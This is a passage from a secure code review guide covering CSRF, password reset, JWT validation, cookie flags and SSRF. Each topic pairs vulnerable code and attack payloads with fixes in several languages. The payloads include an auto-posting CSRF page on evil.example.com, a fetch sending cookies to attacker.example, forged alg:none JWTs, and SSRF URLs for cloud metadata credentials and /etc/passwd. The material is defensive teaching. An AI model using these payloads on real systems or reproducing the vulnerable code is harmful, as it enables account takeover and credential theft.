Locate state-changing handlers and confirm anti-CSRF middleware or tokens are enforced—not disabled for convenience.

Python

```
from flask import request
@app.route("/transfer", methods=["POST"])
def transfer(): ... # no flask-wtf CSRF, no token check
@app.route("/api/x", methods=["POST"])
@csrf_exempt
def api_x(): ...
```

Django: views without `csrf_protect`; `csrf_exempt` decorator. FastAPI: cookie session without `CSRFMiddleware`.

Java

```
@PostMapping("/transfer")
public void transfer(...) { } // missing @CsrfToken or Spring Security CSRF

http.csrf().disable();
```

Spring Security: `CsrfFilter` disabled globally. JAX-RS: POST without synchronizer token.

C

```
[HttpPost]
public IActionResult ChangeEmail(EmailModel m) { } // no [ValidateAntiForgeryToken]

services.AddControllers().AddJsonOptions(...); // antiforgery not validated on API
```

ASP.NET: `[IgnoreAntiforgeryToken]`, missing `[ValidateAntiForgeryToken]` on MVC actions.

JavaScript (Node.js)

```
app.post('/settings', (req, res) => { /* cookie session, no csrf token */ });
router.post('/admin/role', requireLogin, updateRole); // no csrf/cors check
```

Express: `cookie-parser` + session without `csurf` or double-submit cookie. SameSite-only reliance on APIs that accept simple POST bodies.

Go

```
http.HandleFunc("/transfer", transfer) // POST, session cookie, no CSRF token
mux.Handle("/api/email", csrfOff(handler))
```

Gorilla/mux or chi routes without CSRF middleware on cookie-authenticated POSTs.

PHP

```
// No CSRF token in form handler
if ($_SERVER['REQUEST_METHOD'] === 'POST') { update_account($_POST); }
```

Laravel: @csrf omitted; VerifyCsrfToken except list too broad.

Vulnerable Examples in Other Languages

Java

```
@PostMapping("/wire")
public String wireTransfer(@RequestParam String beneficiary,
                           @RequestParam BigDecimal amount,
                           HttpSession session) {
    User user = (User) session.getAttribute("user");
    wireService.send(user, beneficiary, amount);
    return "ok";
}
```

C

```
[HttpPost]
public IActionResult DisableMfa()
{
    _mfaService.Disable(UserId);
    return Ok();
}
```

HTML

```
<!-- evil.example.com/disable-mfa.html - victim's browser auto-POSTs with session cookies -->
<html>
  <body onload="document.forms[0].submit()">
    <form action="https://app.example/account/mfa/disable" method="POST">
      <input type="hidden" name="confirm" value="true"/>
    </form>
  </body>
</html>
```

JavaScript

```
// SPA calls state-changing API with cookies only - no synchronizer token
fetch('/api/billing/upgrade', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ plan: 'enterprise' }),
});
```

Go

```
func disableMfa(w http.ResponseWriter, r *http.Request) {
    cookie, _ := r.Cookie("session")
    userID := sessions.Get(cookie.Value)
    db.Exec("UPDATE users SET mfa_enabled = false WHERE id = ?", userID)
    w.WriteHeader(http.StatusOK)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Enable CSRF protection on state-changing routes. Use SameSite cookies as defense in depth.

```

from flask import Flask, render_template, request, session
from flask_wtf.csrf import CSRFProtect

app = Flask(__name__)
app.config["SECRET_KEY"] = os.environ["SECRET_KEY"]
app.config["SESSION_COOKIE_SAMESITE"] = "Lax"
app.config["SESSION_COOKIE_SECURE"] = True
csrf = CSRFProtect(app)

@app.route("/account/mfa/disable", methods=["POST"])
def disable_mfa():
    if "user_id" not in session:
        return redirect("/login")
    db.execute("UPDATE users SET mfa_enabled = 0 WHERE id = ?", (session["user_id"],))
    return "MFA disabled"

```

```

<!-- mfa_settings.html -->
<form method="post">
  <input type="hidden" name="csrf_token" value="{ csrf_token() }"/>
  <button type="submit">Disable MFA</button>
</form>

```

Important: Django CSRF middleware and FastAPI starlette-csrf provide equivalent protection. Never mark sensitive POST handlers `@csrf_exempt` without documented exceptions.

Java

Spring Security enables CSRF by default for session-backed apps.

```

// SecurityConfig – CSRF enabled (default); SPA header pattern:
http.csrf(csrf -> csrf
    .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()));

```

```

<form action="/wire" method="post">
  <input type="hidden" name="{_csrf.parameterName}" value="{_csrf.token}"/>
  <!-- fields -->
</form>

```

Important: Supplement tokens with `SameSite=Lax` or `Strict` on session cookies. Require reauthentication for MFA removal and payouts.

C

Use anti-forgery tokens on MVC and Razor POST actions.

```
[HttpPost]
[ValidateAntiForgeryToken]
[Authorize]
public IActionResult DisableMfa()
{
    _mfaService.Disable(UserId);
    return Ok();
}
```

```
<form asp-action="DisableMfa" method="post">
    @Html.AntiForgeryToken()
    <button type="submit">Disable MFA</button>
</form>
```

```
// SPA: inject IAntiforgery and require X-CSRF-TOKEN header
services.AddAntiforgery(options => options.HeaderName = "X-CSRF-TOKEN");
```

Important: Separate role changes from anonymous or CSRF-exempt endpoints. Set `CookieOptions.SameSite = SameSiteMode.Strict` for auth cookies in production.

Go

Use gorilla/csrf middleware or custom synchronizer tokens stored server-side.

```
import (
    "github.com/gorilla/csrf"
    "github.com/gorilla/sessions"
)

func main() {
    r := mux.NewRouter()
    csrfKey := []byte(os.Getenv("CSRF_KEY"))
    r.HandleFunc("/account/mfa/disable", disableMfa).Methods("POST")
    http.ListenAndServe(":8080",
        csrf.Protect(csrfKey, csrf.Secure(true))(r))
}
```

```
<form action="/account/mfa/disable" method="POST">
    <input type="hidden" name="gorilla.csrf.Token" value="{ .CSRFToken }"/>
    <button type="submit">Disable MFA</button>
</form>
```

Important: Set `SameSite: http.SameSiteStrictMode` on session cookies. Prefer Bearer tokens with explicit client storage for pure APIs when cookies are not required.

Broken password lifecycle {: #password }

From former 4-19-review-broken-password-lifecycle.md. **Guiding chapter section:** [4.5 - Review Authentication, Session, and Access Control § Broken password lifecycle](#).

4.19 Code Reference — Review Broken Password Lifecycle

Abuse Scenarios

Use these in authorized tests on reset, change, and MFA flows. They abuse weak lifecycle controls—not injection payloads.

Pattern 1: Predictable or reusable reset token

```
token = md5(email)           # same token for same user every request
token = user_id + "-" + date # enumerable
Reset link reused after successful password change
```

Pattern 2: Password change without current password

```
POST /account/password
{"userId": 42, "newPassword": "Attacker1!"}
# Authenticated as user 7, changes user 42
```

Pattern 3: Reset token in URL logged by proxies

```
https://app.example/reset?token=abc123
# Referrer, browser history, server access logs retain token
```

Pattern 4: User enumeration on reset

```
POST /reset {"email":"exists@corp.com"} → 200 "email sent"
POST /reset {"email":"nobody@corp.com"} → 404 "unknown email"
```

Pattern 5: MFA disable without step-up

```
POST /mfa/disable
Cookie: session=victim
# No TOTP or password re-entry
```

Language-Specific Sinks and Dangerous APIs

Trace registration, change, reset, and MFA disable from HTTP handler to credential store.

Python

```
PASSWORD_STORE[user] = hashlib.md5(pw.encode()).hexdigest()
token = hashlib.sha256(email.encode()).hexdigest()
@app.route("/mfa/disable", methods=["POST"])
def disable_mfa(): session["mfa"] = False
```

Flask/Django: reset views without check_password on change; tokens stored in plain DB columns.

Java

```
MessageDigest.getInstance("MD5").digest(password.getBytes());
String token = String.valueOf(user.getId()); // predictable reset
userService.updatePassword(userId, newPw); // no current password check
```

Spring Security: PasswordEncoder legacy MD5; custom reset without TokenStore expiry and single-use.

C

```
var hash = MD5.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
var token = Guid.NewGuid().ToString().Substring(0, 6); // short entropy
await _userManager.ResetPasswordAsync(userId, token, newPassword); // no prior auth
```

ASP.NET Identity: weak token provider, AllowAnonymous on change-password, MFA off without 2FA challenge.

JavaScript (Node.js)

```
const token = crypto.createHash('md5').update(email).digest('hex');
app.post('/reset/confirm', (req, res) => setPassword(req.body.userId, req.body.password));
app.post('/mfa/disable', requireSession, disableMfa);
```

bcrypt missing on register; reset tokens in JWT without rotation; logs printing reset URLs.

Go

```
h := md5.Sum([]byte(password))
token := fmt.Sprintf("%d-%s", userID, time.Now().Format("20060102"))
userRepo.SetPassword(req.FormValue("user_id"), newPass) // no session bind
```

PHP

```
$hash = md5($password);  
$token = md5($email);  
if ($_POST['disable_mfa']) { $_SESSION['mfa'] = false; }
```

WordPress/Laravel: weak password_hash options, reset without Hash::check on old password.

Vulnerable Examples in Other Languages

Java

```
@PostMapping("/register")  
public void register(@RequestParam String username, @RequestParam String password) {  
    userRepository.save(new User(username, password)); // plain text  
}  
  
@PostMapping("/password/change")  
public void changePassword(@RequestParam Long userId,  
                           @RequestParam String newPassword) {  
    userRepository.updatePassword(userId, newPassword);  
}  
  
@PostMapping("/password/reset/confirm")  
public void confirmReset(@RequestParam String token, @RequestParam String newPassword) {  
    ResetToken t = tokenRepo.findByToken(token);  
    if (t != null) {  
        userRepository.updatePassword(t.getUserId(), newPassword);  
    }  
}
```

C

```
[HttpPost("change-password")]  
public IActionResult ChangePassword(ChangePasswordDto dto)  
{  
    var user = _db.Users.Find(dto.UserId);  
    user.PasswordHash = dto.NewPassword;  
    _db.SaveChanges();  
    return Ok();  
}
```


Go

```
func resetConfirm(w http.ResponseWriter, r *http.Request) {
    token := r.FormValue("token")
    pw := r.FormValue("password")
    row := db.QueryRow("SELECT user_id FROM reset_tokens WHERE token = ?", token)
    var uid int
    row.Scan(&uid)
    hash, _ := bcrypt.GenerateFromPassword([]byte(pw), 4)
    db.Exec("UPDATE users SET password = ? WHERE id = ?", string(hash), uid)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Use Argon2 or bcrypt via passlib. Issue random reset tokens with constant-time responses.

```
from argon2 import PasswordHasher
from passlib.context import CryptContext
import secrets
import hashlib

ph = PasswordHasher()
pwd_context = CryptContext(schemes=["argon2"], deprecated="auto")

@app.route("/reset", methods=["POST"])
def reset_password():
    email = request.form["email"]
    user = db.users.find_one({"email": email})
    if user:
        token = secrets.token_urlsafe(32)
        token_hash = hashlib.sha256(token.encode()).hexdigest()
        db.reset_tokens.insert_one({
            "user_id": user["_id"],
            "token_hash": token_hash,
            "expires": datetime.utcnow() + timedelta(minutes=30),
            "used": False,
        })
        send_mail(email, f"https://app/reset?token={token}")
    return "If that email exists, a reset link was sent.", 200

@app.route("/password/change", methods=["POST"])
@login_required
def change_password():
    if not pwd_context.verify(request.form["current"], current_user.password_hash):
        abort(403)
    current_user.password_hash = ph.hash(request.form["new"])
    current_user.save()
    return "ok"
```

Important: Use django-otp or pyotp for MFA on sensitive settings. Consider Have I Been Pwned k-anonymity checks on password set.

Java

Use Spring PasswordEncoder and secure reset tokens with single-use invalidation.

```
@PostMapping("/register")
public void register(@RequestParam String username, @RequestParam String password) {
    userRepository.save(new User(username, passwordEncoder.encode(password)));
}

@PostMapping("/password/change")
@PreAuthorize("isAuthenticated()")
public void changePassword(@AuthenticationPrincipal User user,
                           @RequestParam String currentPassword,
                           @RequestParam String newPassword) {
    if (!passwordEncoder.matches(currentPassword, user.getPasswordHash())) {
        throw new AccessDeniedException("invalid current password");
    }
    userService.updatePassword(user.getId(), passwordEncoder.encode(newPassword));
}

@PostMapping("/password/reset/confirm")
public void confirmReset(@RequestParam String token, @RequestParam String newPassword) {
    ResetToken t = tokenService.consumeToken(token); // single-use, hashed at rest
    userService.updatePassword(t.getUserId(), passwordEncoder.encode(newPassword));
}
```

Important: Force first-login change for admin-invited accounts. Require TOTP or WebAuthn to disable MFA.

C

Use ASP.NET Core Identity for change and reset flows.

```

[HttpPost("change-password")]
[Authorize]
public async Task<IActionResult> ChangePassword(ChangePasswordDto dto)
{
    var user = await _userManager.GetUserAsync(User);
    var result = await _userManager.ChangePasswordAsync(
        user, dto.CurrentPassword, dto.NewPassword);
    if (!result.Succeeded) return BadRequest(result.Errors);
    return Ok();
}

[HttpPost("reset-password")]
public async Task<IActionResult> ResetPassword(ForgotPasswordDto dto)
{
    var user = await _userManager.FindByEmailAsync(dto.Email);
    if (user != null)
    {
        var token = await _userManager.GeneratePasswordResetTokenAsync(user);
        await _email.SendResetLinkAsync(user.Email, token);
    }
    return Ok(new { message = "If that email exists, a reset link was sent." });
}

```

Important: Configure PasswordOptions and lockout on brute force. Require MFA to remove authenticator factors.

Go

Use bcrypt or Argon2 with appropriate cost. Store reset token hashes and delete after use.

```

func resetConfirm(w http.ResponseWriter, r *http.Request) {
    token := r.FormValue("token")
    pw := r.FormValue("password")
    tokenHash := sha256Sum(token)
    var uid int64
    err := db.QueryRow(`
        SELECT user_id FROM reset_tokens
        WHERE token_hash = $1 AND expires_at > NOW() AND used = FALSE`, tokenHash).Scan(&uid)
    if err != nil {
        http.Error(w, "invalid token", http.StatusBadRequest)
        return
    }
    hash, _ := bcrypt.GenerateFromPassword([]byte(pw), bcrypt.DefaultCost)
    tx, _ := db.Begin()
    tx.Exec("UPDATE users SET password = $1 WHERE id = $2", string(hash), uid)
    tx.Exec("UPDATE reset_tokens SET used = TRUE WHERE token_hash = $1", tokenHash)
    tx.Commit()
}

```

Important: Bind password change to verified session context only. Rate-limit reset and login endpoints.

JWT security (code-level) {: #jwt }

From former 4-17-review-jwt-security.md. **Guiding chapter section:** [4.5 - Review Authentication, Session, and Access Control § JWT security \(code-level\)](#).

4.17 Code Reference — Review JWT Security

Attack Payloads

Use these in authorized tests against APIs that parse JWTs. Craft tokens only in environments you own; never use production user accounts without approval.

Pattern 1: alg: none (signature stripped)

```
Header: {"alg":"none","typ":"JWT"}
Payload: {"sub":"admin","role":"admin"}
Signature: (empty)
Token: eyJhbGciOiJIub25lIiwidHlwIjoiSldUIIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
```

Pattern 2: Forged HS256 with known or guessed secret

```
# Sign with "secret", "changeme", or key from source leak
{"sub":"victim-user-id","admin":true} + HS256(secret)
```

Pattern 3: Algorithm confusion (RS256 → HS256)

```
# Use public RSA key as HMAC secret when server accepts both algs
Header: {"alg":"HS256",...}
Signed with -----BEGIN PUBLIC KEY----- material
```

Pattern 4: Expired or missing exp accepted

```
{"sub":"user1","exp":1} # year 1970 – server skips exp check
{"sub":"user1"} # no exp claim
```

Pattern 5: Weak symmetric secret brute-forced offline

```
# Attacker re-signs payload after cracking "dev-jwt-key-2024" from a container image layer
import jwt
jwt.encode({"sub": "admin", "scope": "billing:write"}, "dev-jwt-key-2024", algorithm="HS256")
```

Language-Specific Sinks and Dangerous APIs

Find every path that decodes JWTs for authentication or authorization decisions.

Python

```
import jwt
jwt.decode(token, os.environ["JWT_SECRET"], algorithms=["HS256", "RS256", "none"])
jwt.get_unverified_header(token) # used alone to pick HMAC key for confusion
```

PyJWT with permissive `algorithms=list`; `python-jose` `jwt.decode` without `aud/iss` checks.

Java

```
Jwts.parser().setSigningKey("secretkey").parseClaimsJws(jwt);
// Accepts alg from header without allowlist
Claims claims = Jwts.parser().parseClaimsJwt(unsigned).getBody();
```

`jjwt`, `Nimbus`, `Spring Security OAuth2` resource server misconfiguration.

C

```
var handler = new JwtSecurityTokenHandler();
handler.ValidateToken(token, new TokenValidationParameters {
    ValidateIssuerSigningKey = false,
    SignatureValidator = (t, _) => new JwtSecurityToken(t)
}, out _);
```

`System.IdentityModel.Tokens.Jwt`, `Microsoft.AspNetCore.Authentication.JwtBearer`.

JavaScript (Node.js)

```
const jwt = require('jsonwebtoken');
jwt.verify(token, secret, { algorithms: ['HS256', 'none'] });
jwt.decode(token); // no verify
```

`jose`, `passport-jwt`, `Auth0 SDK` with `ignoreSignature` in tests left enabled in prod.

Go

```
jwt.Parse(token, func(t *jwt.Token) (interface{}, error) {
    return []byte("secret"), nil // ignores expected alg
})
```

github.com/golang-jwt/jwt, lestrrat-go/jwx with permissive alg handling.

Ruby

```
JWT.decode(token, nil, false) # verify disabled
JWT.decode(token, 'secret', true, { algorithm: 'none' })
```

Vulnerable Examples in Other Languages

Java

```
public Claims authenticate(String jwtString) {
    return Jwts.parser()
        .setSigningKey("secretkey")
        .parseClaimsJws(jwtString)
        .getBody();
}

public User loadUser(String token) {
    String[] parts = token.split("\\.");
    String payload = new String(Base64.getUrlDecoder().decode(parts[1]));
    JsonNode node = mapper.readTree(payload);
    return new User(node.get("sub").asText(), node.get("role").asText());
}
```

C

```
public ClaimsPrincipal Validate(string token)
{
    var handler = new JwtSecurityTokenHandler();
    var key = Encoding.UTF8.GetBytes("hardcoded-dev-secret");
    var parameters = new TokenValidationParameters
    {
        ValidateIssuer = false,
        ValidateAudience = false,
        IssuerSigningKey = new SymmetricSecurityKey(key)
    };
    return handler.ValidateToken(token, parameters, out _);
}
```

JavaScript

```
const jwt = require('jsonwebtoken');
function currentUser(req) {
  const token = req.headers.authorization?.slice(7);
  // verify disabled – accepts alg:none and arbitrary claims
  return jwt.verify(token, process.env.JWT_SECRET, { algorithms: ['HS256', 'none'] });
}
```

Go

```
func authMiddleware(next http.Handler) http.Handler {
  return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    raw := strings.TrimPrefix(r.Header.Get("Authorization"), "Bearer ")
    token, _, _ := new(jwt.Parser).ParseUnverified(raw, jwt.MapClaims{})
    claims := token.Claims.(jwt.MapClaims)
    ctx := context.WithValue(r.Context(), "role", claims["role"])
    next.ServeHTTP(w, r.WithContext(ctx))
  })
}
```

Fix: Safer Patterns and Libraries to Use

Python

Verify signature, algorithm, issuer, and audience with PyJWT. Load secrets from environment or JWKS.

```

import jwt
import os

JWT_SECRET = os.environ["JWT_SECRET"]
JWT_AUDIENCE = "api.example.com"
JWT_ISSUER = "https://auth.example.com"

def current_user(auth_header: str) -> dict:
    token = auth_header.split(" ", 1)[1]
    return jwt.decode(
        token,
        JWT_SECRET,
        algorithms=["HS256"],
        audience=JWT_AUDIENCE,
        issuer=JWT_ISSUER,
        options={"require": ["exp", "sub"]},
    )

def issue_token(user) -> str:
    return jwt.encode(
        {"sub": str(user.id), "scope": user.scopes},
        JWT_SECRET,
        algorithm="HS256",
        audience=JWT_AUDIENCE,
        issuer=JWT_ISSUER,
    )

```

Important: Never use `verify_signature=False` outside isolated tests. Prefer RS256 with JWKS for multi-service trust.

Java

Use jjwt or Nimbus with explicit parser configuration. Reject unsigned algorithms.

```

public Claims authenticate(String jwtString) {
    byte[] key = keyResolver.resolveSigningKey(jwtString);
    return Jwts.parserBuilder()
        .setSigningKey(key)
        .requireIssuer("https://auth.example.com")
        .requireAudience("api.example.com")
        .build()
        .parseClaimsJws(jwtString)
        .getBody();
}

```

Important: Fetch signing keys from issuer JWKS with `kid` matching. Use short-lived access tokens with refresh flow and server-side revocation where needed.

C

Configure AddJwtBearer with full validation parameters.

```
services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
    .AddJwtBearer(options =>
    {
        options.TokenValidationParameters = new TokenValidationParameters
        {
            ValidateIssuer = true,
            ValidIssuer = "https://auth.example.com",
            ValidateAudience = true,
            ValidAudience = "api.example.com",
            ValidateLifetime = true,
            ValidateIssuerSigningKey = true,
            IssuerSigningKey = new SymmetricSecurityKey(
                Encoding.UTF8.GetBytes(Configuration["Jwt:Key"]!)),
            ValidAlgorithms = new[] { SecurityAlgorithms.HmacSha256 }
        };
    });
```

Important: Use Azure AD or IdentityServer metadata and JWKS instead of custom crypto when possible.

Go

Parse with explicit algorithm list in keyFunc. Set user context only after token.Valid.

```
import "github.com/golang-jwt/jwt/v5"

func authMiddleware(next http.Handler) http.Handler {
    secret := []byte(os.Getenv("JWT_SECRET"))
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        raw := strings.TrimPrefix(r.Header.Get("Authorization"), "Bearer ")
        token, err := jwt.Parse(raw, func(t *jwt.Token) (any, error) {
            if t.Method.Alg() != jwt.SigningMethodHS256.Alg() {
                return nil, fmt.Errorf("unexpected alg")
            }
            return secret, nil
        }), jwt.WithAudience("api.example.com"), jwt.WithIssuer("https://auth.example.com"))
        if err != nil || !token.Valid {
            http.Error(w, "unauthorized", http.StatusUnauthorized)
            return
        }
        claims := token.Claims.(jwt.MapClaims)
        ctx := context.WithValue(r.Context(), "sub", claims["sub"])
        next.ServeHTTP(w, r.WithContext(ctx))
    })
}
```

Important: Use `coreos/go-oidc` for standard OIDC issuers. Apply small clock leeway with `jwt.WithLeeway` while still enforcing exp.

Insecure cookie configuration { `#cookies` }

From former `4-34-review-insecure-cookie-configuration.md`. **Guiding chapter section:** [4.5 - Review Authentication, Session, and Access Control § Insecure cookie configuration](#).

4.34 Code Reference — Review Insecure Cookie Configuration

Attack Payloads

Use these in authorized tests on login and session endpoints. Abuse scenarios include XSS cookie theft, network capture, and CSRF with permissive SameSite.

Pattern 1: Missing HttpOnly (XSS theft abuse scenario)

```
// After any XSS on the origin
document.cookie // returns "session=abc123" when HttpOnly absent
fetch('https://attacker.example/?c='+document.cookie)
```

Pattern 2: Missing Secure over HTTP

```
GET http://app.example/ HTTP/1.1
Cookie: session=abc123
```

Cleartext transport exposes the session on untrusted networks.

Pattern 3: SameSite absent or None without Secure

```
# Cross-site POST from attacker.example with victim browser
POST https://app.example/transfer HTTP/1.1
Cookie: session=victim_session
Origin: https://attacker.example
```

Pattern 4: Overly long session lifetime

```
Set-Cookie: session=abc; Max-Age=31536000; Path=/
```

Stolen cookies remain valid for a year.

Pattern 5: Session fixation via attacker-set cookie

```
Set-Cookie: session=attacker_chosen_id; Path=/  
# Victim logs in while browser already holds attacker-known id
```

Pattern 6: Logout without server invalidation

```
document.cookie = "session=; Max-Age=0"; // client cleared  
// Server-side session store still accepts session=abc123
```

Language-Specific Sinks and Dangerous APIs

Search every Set-Cookie path and framework session configuration.

Python

```
response.set_cookie("auth_token", token, httponly=False, secure=False)  
settings.SESSION_COOKIE_HTTPONLY = False  
settings.CSRF_COOKIE_SECURE = False
```

Flask session defaults; Django SESSION_COOKIE_HTTPONLY = False; Starlette set_cookie without flags.

Java

```
Cookie c = new Cookie("JSESSIONID", id);  
c.setHttpOnly(false);  
c.setSecure(false);  
response.addCookie(c);
```

server.servlet.session.cookie.http-only=false in application.properties; Spring CookieSerializer customizations.

C

```
Response.Cookies.Append("session", id); // default flags may omit HttpOnly/Secure  
options.Cookie.HttpOnly = false;  
options.Cookie.SecurePolicy = CookieSecurePolicy.None;
```

ASP.NET Core CookieAuthenticationOptions; legacy FormsAuthentication cookie settings.

JavaScript (Node.js)

```
res.cookie("session", sid, { httpOnly: false, secure: false, sameSite: false });
cookieSession({ name: "session", secure: false });
```

express-session defaults without cookie.secure behind TLS terminators.

Go

```
http.SetCookie(w, &http.Cookie{Name: "session", Value: sid}) // no HttpOnly/Secure
```

Gorilla sessions, echo cookie middleware without explicit flags.

Servlet deployment descriptors

```
<session-config>
  <cookie-config>
    <http-only>false</http-only>
    <secure>false</secure>
  </cookie-config>
</session-config>
```

Vulnerable Examples in Other Languages

Java

```
public void login(HttpServletResponse response, String sessionId) {
    Cookie session = new Cookie("session", sessionId);
    // Missing HttpOnly, Secure, and SameSite – readable by JS and sent over HTTP
    response.addCookie(session);
}

public void rememberMe(HttpServletResponse response, String sessionId) {
    Cookie session = new Cookie("session", sessionId);
    session.setMaxAge(60 * 60 * 24 * 365); // one year – exceeds policy
    response.addCookie(session);
}
```

```
<!-- web.xml: http-only set but Secure and SameSite not configured -->
<session-config>
  <cookie-config>
    <http-only>true</http-only>
    <max-age>600</max-age>
  </cookie-config>
</session-config>
```

C

```
Response.Cookies.Append("session", sessionId, new CookieOptions
{
    HttpOnly = false,
    Secure = false
});

Response.Cookies.Append("session", longLivedSessionId, new CookieOptions
{
    HttpOnly = false,
    Secure = false,
    Expires = DateTimeOffset.UtcNow.AddYears(1)
});
```

Go

```
http.SetCookie(w, &http.Cookie{
    Name: "session",
    Value: sessionId,
    Path: "/",
    // HttpOnly, Secure, and SameSite left at zero values
})

http.SetCookie(w, &http.Cookie{
    Name: "session",
    Value: longLivedSessionID,
    Path: "/",
    MaxAge: 60 * 60 * 24 * 365,
})
```

Fix: Safer Patterns and Libraries to Use

Python

Configure Flask or Django session cookies with explicit flags.

```

app.config.update(
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_SAMESITE="Lax",
    PERMANENT_SESSION_LIFETIME=timedelta(hours=8),
)

@require_POST
def login(request):
    session_key = create_session(request.POST["username"], request.POST["password"])
    response = HttpResponseRedirect("/dashboard")
    response.set_cookie(
        "auth_token",
        session_key,
        httponly=True,
        secure=True,
        samesite="Lax",
        max_age=8 * 3600,
    )
    return response

```

Pair Secure cookies with HTTPS enforcement and HSTS. See [Flask session configuration](#) and [Django cookie settings](#).

Java

Set flags explicitly on every auth cookie. Use Spring Boot session properties for container defaults.

```

public static void setSessionCookie(HttpServletResponse response, String name, String value) {
    Cookie cookie = new Cookie(name, value);
    cookie.setHttpOnly(true);
    cookie.setSecure(true);
    cookie.setPath("/");
    cookie.setAttribute("SameSite", "Strict");
    cookie.setMaxAge(3600);
    response.addCookie(cookie);
}

```

```

# application.yml
server:
  servlet:
    session:
      cookie:
        http-only: true
        secure: true
        same-site: strict

```

See [Servlet Cookie API](#) and [Spring Boot session cookie properties](#).

C

Use `CookieOptions` with consistent flags on authentication handlers.

```
Response.Cookies.Append("AuthToken", token, new CookieOptions
{
    HttpOnly = true,
    Secure = true,
    SameSite = SameSiteMode.Strict,
    Expires = DateTimeOffset.UtcNow.AddHours(8),
    IsEssential = true
});
```

Configure cookie authentication in `Program.cs` with the same flags. See [ASP.NET Core cookie options](#).

Go

Set explicit fields on session cookies. Ensure TLS termination sets `X-Forwarded-Proto` for Secure cookies behind load balancers.

```
http.SetCookie(w, &http.Cookie{
    Name:    "session",
    Value:   sessionID,
    Path:    "/",
    MaxAge:  3600,
    HttpOnly: true,
    Secure:  true,
    SameSite: http.SameSiteStrictMode,
})
```

With [gorilla/sessions](#), configure store options with production-safe defaults.

4.6 Code Reference — Review SSRF and Egress

SSRF { : #ssrf }

From former 4-15-review-ssrf.md. **Guiding chapter section:** [4.6 - Review SSRF and Egress § SSRF](#).

4.15 Code Reference — Review SSRF

Attack Payloads

Use these in authorized tests when a parameter supplies a URL, host, or path segment to an outbound HTTP client. Replace TARGET with the vulnerable field.

Pattern 1: Cloud metadata (link-local)

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/  
http://metadata.google.internal/computeMetadata/v1/  
http://100.100.100.200/latest/meta-data/    # Alibaba
```

Pattern 2: Loopback and internal services

```
http://127.0.0.1:6379/  
http://localhost:8080/admin  
http://127.0.0.1:9200/_cat/indices
```

Pattern 3: Private RFC1918 ranges

```
http://10.0.0.15/internal/users  
http://192.168.1.1/  
http://172.16.0.5:8500/v1/agent/self
```

Pattern 4: Encoded and alternate IP forms (bypass denylists)

```
http://2130706433/          # decimal 127.0.0.1  
http://0x7f000001/  
http://127.1/  
http://[::1]/  
http://0177.0.0.1/
```


Pattern 5: Non-HTTP schemes and redirects

```
file:///etc/passwd
gopher://127.0.0.1:6379/_...
# Register https://evil.example → 302 to http://169.254.169.254/
```

Language-Specific Sinks and Dangerous APIs

Any outbound request built from user input needs allowlisting, DNS rebinding awareness, and post-redirect re-validation.

Python

```
import httpx, urllib.request
httpx.Client(follow_redirects=True).get(user_link)
urllib.request.urlopen(preview_target)
requests.post(webhook_url, json={"ping": True}) # when URL is user-supplied
```

Also: aiohttp session fetches, selenium/playwright navigation to user URLs, PDF renderers fetching remote HTML.

Java

```
new URL(userUrl).openConnection();
HttpClient.newHttpClient().send(HttpRequest.newBuilder().uri(URI.create(url)).build(), ...);
RestTemplate.getForObject(endpoint, String.class);
```

Apache HttpClient, URLConnection, image/PDF libraries that fetch remote resources.

C

```
await httpClient.GetAsync(userUrl);
new WebClient().DownloadString(url);
```

HttpWebRequest, WCF clients, headless browser automation with user-supplied start URL.

JavaScript (Node.js)

```
const axios = require('axios');
await axios.get(req.query.url);
await fetch(userUrl);
```

node-fetch, got, request, server-side puppeteer.goto(url).

Go

```
http.Get(r.URL.Query().Get("link"))
client.Do(req) // req built from ?link= query param
```

net/http, custom TCP dialers, gRPC gateways that proxy to user hostnames.

Ruby

```
URI.open(params[:url])
Net::HTTP.get(URI(user_url))
```

Vulnerable Examples in Other Languages

Java

```
@GetMapping("/images/thumbnail")
public ResponseEntity<byte[]> thumbnail(@RequestParam String src) throws Exception {
    URL url = new URL(src);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    byte[] body;
    try (InputStream in = conn.getInputStream()) {
        body = in.readAllBytes();
    }
    return ResponseEntity.ok()
        .contentType(MediaType.parseMediaType(conn.getContentType()))
        .body(body);
}
```

C

```
[HttpGet("images/thumbnail")]
public async Task<IActionResult> Thumbnail([FromQuery] string src)
{
    using var client = new HttpClient();
    var bytes = await client.GetByteArrayAsync(src);
    return File(bytes, "image/jpeg");
}
```

Go

```
func fetchThumbnail(w http.ResponseWriter, r *http.Request) {
    src := r.URL.Query().Get("src")
    resp, err := http.Get(src)
    if err != nil {
        http.Error(w, err.Error(), 500)
        return
    }
    defer resp.Body.Close()
    w.Header().Set("Content-Type", resp.Header.Get("Content-Type"))
    io.Copy(w, resp.Body)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Allowlist hosts and block private ranges after DNS resolution. Disable redirects or validate each hop.

```
import ipaddress
import socket
from urllib.parse import urlparse
import requests

ALLOWED_IMAGE_HOSTS = {"images.example.com", "cdn.partner.com"}

def is_public_ip(hostname: str) -> bool:
    addr = socket.gethostbyname(hostname)
    ip = ipaddress.ip_address(addr)
    return not (ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved)

def safe_fetch_image(url: str) -> bytes:
    parsed = urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("scheme not allowed")
    if parsed.hostname not in ALLOWED_IMAGE_HOSTS:
        raise ValueError("host not allowlisted")
    if not is_public_ip(parsed.hostname):
        raise ValueError("destination not public")
    resp = requests.get(url, timeout=5, allow_redirects=False)
    resp.raise_for_status()
    return resp.content

@app.route("/images/thumbnail")
def thumbnail():
    return Response(safe_fetch_image(request.args["src"]), mimetype="image/jpeg")
```

Important: Wrap fetches in a separate network segment with no internal access when possible. Use IMDSv2 on AWS to reduce metadata abuse.

Java

Map user choices to predefined base URLs. Resolve DNS and verify the resulting IP is public before connecting.

```
